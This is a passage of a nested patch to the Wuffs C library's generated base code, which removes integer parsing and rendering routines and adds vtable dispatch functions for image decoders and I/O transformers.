+- dst, &h, precision, options); ++ ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__decode_image_config( ++ wuffs_base__image_decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->decode_image_config)(self, a_dst, a_src); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-// ---------------- Integer ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +-// wuffs_base__parse_number__foo_digits entries are 0x00 for invalid digits, +-// and (0x80 | v) for valid digits, where v is the 4 bit value. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_base__image_decoder__frame_dirty_rect( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } + +-static const uint8_t wuffs_base__parse_number__decimal_digits[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. +- 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. +- 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->frame_dirty_rect)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. ++ return wuffs_base__utility__empty_rect_ie_u32(); ++} + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__image_decoder__get_quirk( ++ const wuffs_base__image_decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +-}; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-static const uint8_t wuffs_base__parse_number__hexadecimal_digits[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. +- 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. +- 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. ++ return 0; ++} + +- 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x40 ..= 0x47. 'A'-'F'. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. +- 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x60 ..= 0x67. 'a'-'f'. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_base__image_decoder__num_animation_loops( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->num_animation_loops)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +-}; ++ return 0; ++} + +-static const uint8_t wuffs_base__private_implementation__encode_base16[16] = { +- 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // 0x00 ..= 0x07. +- 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, // 0x08 ..= 0x0F. +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__image_decoder__num_decoded_frame_configs( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-// -------- ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->num_decoded_frame_configs)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__result_i64 // +-wuffs_base__parse_number_i64(wuffs_base__slice_u8 s, uint32_t options) { +- uint8_t* p = s.ptr; +- uint8_t* q = s.ptr + s.len; ++ return 0; ++} + +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (; (p < q) && (*p == '_'); p++) { +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__image_decoder__num_decoded_frames( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- bool negative = false; +- if (p >= q) { +- goto fail_bad_argument; +- } else if (*p == '-') { +- p++; +- negative = true; +- } else if (*p == '+') { +- p++; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->num_decoded_frames)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- do { +- wuffs_base__result_u64 r = wuffs_base__parse_number_u64( +- wuffs_base__make_slice_u8(p, (size_t)(q - p)), options); +- if (r.status.repr != NULL) { +- wuffs_base__result_i64 ret; +- ret.status.repr = r.status.repr; +- ret.value = 0; +- return ret; +- } else if (negative) { +- if (r.value < 0x8000000000000000) { +- wuffs_base__result_i64 ret; +- ret.status.repr = NULL; +- ret.value = -(int64_t)(r.value); +- return ret; +- } else if (r.value == 0x8000000000000000) { +- wuffs_base__result_i64 ret; +- ret.status.repr = NULL; +- ret.value = INT64_MIN; +- return ret; +- } +- goto fail_out_of_bounds; +- } else if (r.value > 0x7FFFFFFFFFFFFFFF) { +- goto fail_out_of_bounds; +- } else { +- wuffs_base__result_i64 ret; +- ret.status.repr = NULL; +- ret.value = +(int64_t)(r.value); +- return ret; +- } +- } while (0); +- +-fail_bad_argument: +- do { +- wuffs_base__result_i64 ret; +- ret.status.repr = wuffs_base__error__bad_argument; +- ret.value = 0; +- return ret; +- } while (0); +- +-fail_out_of_bounds: +- do { +- wuffs_base__result_i64 ret; +- ret.status.repr = wuffs_base__error__out_of_bounds; +- ret.value = 0; +- return ret; +- } while (0); ++ return 0; + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__result_u64 // +-wuffs_base__parse_number_u64(wuffs_base__slice_u8 s, uint32_t options) { +- uint8_t* p = s.ptr; +- uint8_t* q = s.ptr + s.len; +- +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (; (p < q) && (*p == '_'); p++) { +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__restart_frame( ++ wuffs_base__image_decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- if (p >= q) { +- goto fail_bad_argument; +- +- } else if (*p == '0') { +- p++; +- if (p >= q) { +- goto ok_zero; +- } +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- if (*p == '_') { +- p++; +- for (; p < q; p++) { +- if (*p != '_') { +- if (options & +- WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { +- goto decimal; +- } +- goto fail_bad_argument; +- } +- } +- goto ok_zero; +- } ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->restart_frame)(self, a_index, a_io_position); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- if ((*p == 'x') || (*p == 'X')) { +- p++; +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (; (p < q) && (*p == '_'); p++) { +- } +- } +- if (p < q) { +- goto hexadecimal; +- } ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +- } else if ((*p == 'd') || (*p == 'D')) { +- p++; +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (; (p < q) && (*p == '_'); p++) { +- } +- } +- if (p < q) { +- goto decimal; +- } +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__set_quirk( ++ wuffs_base__image_decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { +- goto decimal; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- goto fail_bad_argument; ++ v++; + } + +-decimal: +- do { +- uint64_t v = wuffs_base__parse_number__decimal_digits[*p++]; +- if (v == 0) { +- goto fail_bad_argument; +- } +- v &= 0x0F; ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +- // UINT64_MAX is 18446744073709551615, which is ((10 * max10) + max1). +- const uint64_t max10 = 1844674407370955161u; +- const uint8_t max1 = 5; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__image_decoder__set_report_metadata( ++ wuffs_base__image_decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } + +- for (; p < q; p++) { +- if ((*p == '_') && +- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- continue; +- } +- uint8_t digit = wuffs_base__parse_number__decimal_digits[*p]; +- if (digit == 0) { +- goto fail_bad_argument; +- } +- digit &= 0x0F; +- if ((v > max10) || ((v == max10) && (digit > max1))) { +- goto fail_out_of_bounds; +- } +- v = (10 * v) + ((uint64_t)(digit)); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_report_metadata)(self, a_fourcc, a_report); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- wuffs_base__result_u64 ret; +- ret.status.repr = NULL; +- ret.value = v; +- return ret; +- } while (0); ++ return wuffs_base__make_empty_struct(); ++} + +-hexadecimal: +- do { +- uint64_t v = wuffs_base__parse_number__hexadecimal_digits[*p++]; +- if (v == 0) { +- goto fail_bad_argument; +- } +- v &= 0x0F; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__tell_me_more( ++ wuffs_base__image_decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +- for (; p < q; p++) { +- if ((*p == '_') && +- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- continue; +- } +- uint8_t digit = wuffs_base__parse_number__hexadecimal_digits[*p]; +- if (digit == 0) { +- goto fail_bad_argument; +- } +- digit &= 0x0F; +- if ((v >> 60) != 0) { +- goto fail_out_of_bounds; +- } +- v = (v << 4) | ((uint64_t)(digit)); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->tell_me_more)(self, a_dst, a_minfo, a_src); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- wuffs_base__result_u64 ret; +- ret.status.repr = NULL; +- ret.value = v; +- return ret; +- } while (0); ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +-ok_zero: +- do { +- wuffs_base__result_u64 ret; +- ret.status.repr = NULL; +- ret.value = 0; +- return ret; +- } while (0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_base__image_decoder__workbuf_len( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } + +-fail_bad_argument: +- do { +- wuffs_base__result_u64 ret; +- ret.status.repr = wuffs_base__error__bad_argument; +- ret.value = 0; +- return ret; +- } while (0); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->workbuf_len)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-fail_out_of_bounds: +- do { +- wuffs_base__result_u64 ret; +- ret.status.repr = wuffs_base__error__out_of_bounds; +- ret.value = 0; +- return ret; +- } while (0); ++ return wuffs_base__utility__empty_range_ii_u64(); + } + + // -------- + +-// wuffs_base__render_number__first_hundred contains the decimal encodings of +-// the first one hundred numbers [0 ..= 99]. +-static const uint8_t wuffs_base__render_number__first_hundred[200] = { +- '0', '0', '0', '1', '0', '2', '0', '3', '0', '4', // +- '0', '5', '0', '6', '0', '7', '0', '8', '0', '9', // +- '1', '0', '1', '1', '1', '2', '1', '3', '1', '4', // +- '1', '5', '1', '6', '1', '7', '1', '8', '1', '9', // +- '2', '0', '2', '1', '2', '2', '2', '3', '2', '4', // +- '2', '5', '2', '6', '2', '7', '2', '8', '2', '9', // +- '3', '0', '3', '1', '3', '2', '3', '3', '3', '4', // +- '3', '5', '3', '6', '3', '7', '3', '8', '3', '9', // +- '4', '0', '4', '1', '4', '2', '4', '3', '4', '4', // +- '4', '5', '4', '6', '4', '7', '4', '8', '4', '9', // +- '5', '0', '5', '1', '5', '2', '5', '3', '5', '4', // +- '5', '5', '5', '6', '5', '7', '5', '8', '5', '9', // +- '6', '0', '6', '1', '6', '2', '6', '3', '6', '4', // +- '6', '5', '6', '6', '6', '7', '6', '8', '6', '9', // +- '7', '0', '7', '1', '7', '2', '7', '3', '7', '4', // +- '7', '5', '7', '6', '7', '7', '7', '8', '7', '9', // +- '8', '0', '8', '1', '8', '2', '8', '3', '8', '4', // +- '8', '5', '8', '6', '8', '7', '8', '8', '8', '9', // +- '9', '0', '9', '1', '9', '2', '9', '3', '9', '4', // +- '9', '5', '9', '6', '9', '7', '9', '8', '9', '9', // +-}; +- +-static size_t // +-wuffs_base__private_implementation__render_number_u64(wuffs_base__slice_u8 dst, +- uint64_t x, +- uint32_t options, +- bool neg) { +- uint8_t buf[WUFFS_BASE__U64__BYTE_LENGTH__MAX_INCL]; +- uint8_t* ptr = &buf[0] + sizeof(buf); +- +- while (x >= 100) { +- size_t index = ((size_t)((x % 100) * 2)); +- x /= 100; +- uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; +- uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; +- ptr -= 2; +- ptr[0] = s0; +- ptr[1] = s1; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_base__io_transformer__dst_history_retain_length( ++ const wuffs_base__io_transformer* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } +- +- if (x < 10) { +- ptr -= 1; +- ptr[0] = (uint8_t)('0' + x); +- } else { +- size_t index = ((size_t)(x * 2)); +- uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; +- uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; +- ptr -= 2; +- ptr[0] = s0; +- ptr[1] = s1; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } + +- if (neg) { +- ptr -= 1; +- ptr[0] = '-'; +- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { +- ptr -= 1; +- ptr[0] = '+'; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->dst_history_retain_length)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- size_t n = sizeof(buf) - ((size_t)(ptr - &buf[0])); +- if (n > dst.len) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__io_transformer__get_quirk( ++ const wuffs_base__io_transformer* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { + return 0; + } +- memcpy(dst.ptr + ((options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) +- ? (dst.len - n) +- : 0), +- ptr, n); +- return n; +-} + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__render_number_i64(wuffs_base__slice_u8 dst, +- int64_t x, +- uint32_t options) { +- uint64_t u = (uint64_t)x; +- bool neg = x < 0; +- if (neg) { +- u = 1 + ~u; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } +- return wuffs_base__private_implementation__render_number_u64(dst, u, options, +- neg); +-} + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__render_number_u64(wuffs_base__slice_u8 dst, +- uint64_t x, +- 